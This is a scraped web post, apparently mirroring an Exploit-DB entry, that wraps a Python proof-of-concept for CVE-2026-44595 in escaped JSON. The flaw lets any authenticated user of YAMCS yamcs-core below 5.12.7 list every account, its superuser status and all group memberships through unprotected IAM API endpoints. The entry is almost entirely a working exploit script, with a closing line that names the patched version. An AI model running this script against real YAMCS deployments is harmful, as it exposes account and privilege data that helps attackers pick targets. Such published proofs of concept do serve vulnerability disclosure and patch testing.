{“lastseen”:”2026-05-30T15:32:49″,”description”:”Exploit Title: YAMCS yamcs-core 1 else \\”http:\/\/localhost:8090\\” username = sys.argv2 if lensys.argv 2 else \\”testuser\\” password = sys.argv3 if lensys.argv 3 else \\”test\\” base = target…”,”published”:”2026-05-30T00:00:00″,”modified”:”2026-05-30T00:00:00″,”type”:”exploitdb”,”title”:”YAMCS yamcs-core 5.12.7 – User Enumeration”,”source”:””,”references”:””,”id”:”EDB-ID:52604″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-44595″],”sourceData”:”# Exploit Title: YAMCS yamcs-core \\u003c 5.12.7 – User Enumeration \\r\\n# Date: 2026-05-27\\r\\n# Exploit Author: Daniel Miranda Barcelona (Excal1bur)\\r\\n# Vendor Homepage: https:\/\/yamcs.org\\r\\n# Software Link: https:\/\/github.com\/yamcs\/yamcs\\r\\n# Version: \\u003c 5.12.7\\r\\n# Tested on: Linux\\r\\n# CVE: CVE-2026-44595\\r\\n# Category: Remote \/ Information Disclosure\\r\\n# Advisory: https:\/\/github.com\/yamcs\/yamcs\/security\/advisories\/GHSA-p2rj-mrmc-9w29\\r\\n\\r\\n#!\/usr\/bin\/env python3\\r\\n\\”\\”\\”\\r\\nCVE-2026-44595 \u2014 YAMCS Unauthorized User Enumeration via IAM API\\r\\n=================================================================\\r\\nIAM API endpoints (listUsers, getUser, listGroups, getGroup) do\\r\\nnot enforce SystemPrivilege.ControlAccess. Any authenticated user\\r\\ncan enumerate all accounts, superuser status, and group memberships.\\r\\n\\r\\nAffected endpoints:\\r\\n GET \/api\/iam\/users\\r\\n GET \/api\/iam\/users\/{name}\\r\\n GET \/api\/iam\/groups\\r\\n GET \/api\/iam\/groups\/{name}\\r\\n=================================================================\\r\\n\\”\\”\\”\\r\\n\\r\\nimport requests\\r\\nimport sys\\r\\nimport json\\r\\n\\r\\ndef main():\\r\\n target = sys.argv[1] if len(sys.argv) \\u003e 1 else \\”http:\/\/localhost:8090\\”\\r\\n username = sys.argv[2] if len(sys.argv) \\u003e 2 else \\”testuser\\”\\r\\n password = sys.argv[3] if len(sys.argv) \\u003e 3 else \\”test\\”\\r\\n base = target.rstrip(\\”\/\\”)\\r\\n\\r\\n print(\\”=\\” * 65)\\r\\n print(\\” CVE-2026-44595 \u2014 YAMCS IAM User Enumeration PoC\\”)\\r\\n print(f\\” Target: {target}\\”)\\r\\n print(f\\” Username: {username} (low-privilege account)\\”)\\r\\n print(\\”=\\” * 65)\\r\\n\\r\\n # Authenticate\\r\\n print(f\\”\\\\n[1] Authenticating as low-privilege user…\\”)\\r\\n try:\\r\\n resp = requests.post(f\\”{base}\/auth\/token\\”,\\r\\n data={\\”grant_type\\”: \\”password\\”,\\r\\n \\”username\\”: username,\\r\\n \\”password\\”: password})\\r\\n\\r\\n if resp.status_code != 200:\\r\\n print(f\\” [-] Auth failed: HTTP {resp.status_code}\\”)\\r\\n print(f\\” [*] Create test user: yamcsadmin users create testuser –password test\\”)\\r\\n return\\r\\n\\r\\n token = resp.json().get(\\”access_token\\”)\\r\\n print(f\\” [+] Token: {token[:30]}…\\”)\\r\\n headers = {\\”Authorization\\”: f\\”Bearer {token}\\”}\\r\\n\\r\\n except Exception as e:\\r\\n print(f\\” [-] Error: {e}\\”)\\r\\n return\\r\\n\\r\\n # Enumerate users\\r\\n print(f\\”\\\\n[2] GET \/api\/iam\/users (requires ControlAccess \u2014 not enforced):\\”)\\r\\n resp = requests.get(f\\”{base}\/api\/iam\/users\\”, headers=headers)\\r\\n print(f\\” HTTP: {resp.status_code}\\”)\\r\\n\\r\\n if resp.status_code == 200:\\r\\n users = resp.json().get(\\”users\\”, [])\\r\\n print(f\\”\\\\n [!!!] VULNERABLE \u2014 {len(users)} users enumerated:\\”)\\r\\n for u in users:\\r\\n flag = \\”SUPERUSER\\” if u.get(\\”superuser\\”) else \\”regular\\”\\r\\n print(f\\” -\\u003e {u.get(‘name’)} [{flag}]\\”)\\r\\n elif resp.status_code == 403:\\r\\n print(f\\” [+] 403 Access Denied \u2014 PATCHED\\”)\\r\\n\\r\\n # Enumerate groups\\r\\n print(f\\”\\\\n[3] GET \/api\/iam\/groups:\\”)\\r\\n resp = requests.get(f\\”{base}\/api\/iam\/groups\\”, headers=headers)\\r\\n print(f\\” HTTP: {resp.status_code}\\”)\\r\\n\\r\\n if resp.status_code == 200:\\r\\n groups = resp.json().get(\\”groups\\”, [])\\r\\n print(f\\”\\\\n [!!!] VULNERABLE \u2014 {len(groups)} groups enumerated:\\”)\\r\\n for g in groups:\\r\\n print(f\\” -\\u003e {g.get(‘name’)} ({len(g.get(‘members’, []))} members)\\”)\\r\\n elif resp.status_code == 403:\\r\\n print(f\\” [+] 403 Access Denied \u2014 PATCHED\\”)\\r\\n\\r\\n print(\\”\\\\n\\” + \\”=\\” * 65)\\r\\n print(\\” Fix: Upgrade to yamcs-core \\u003e= 5.12.7\\”)\\r\\n print(\\”=\\” * 65)\\r\\n\\r\\nif __name__ == \\”__main__\\”:\\r\\n main()”,”sourceHref”:”https:\/\/www.exploit-db.com\/raw\/52604″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.exploit-db.com\/exploits\/52604″,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-30T15:32:49″,”description”:”Exploit Title: YAMCS yamcs-core 1 else \\”http:\/\/localhost:8090\\” username = sys.argv2 if lensys.argv 2 else \\”testuser\\” password = sys.argv3 if lensys.argv 3 else \\”test\\” base =…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,40,13,33,7,11,5],"class_list":["post-58611","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-exploitdb","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n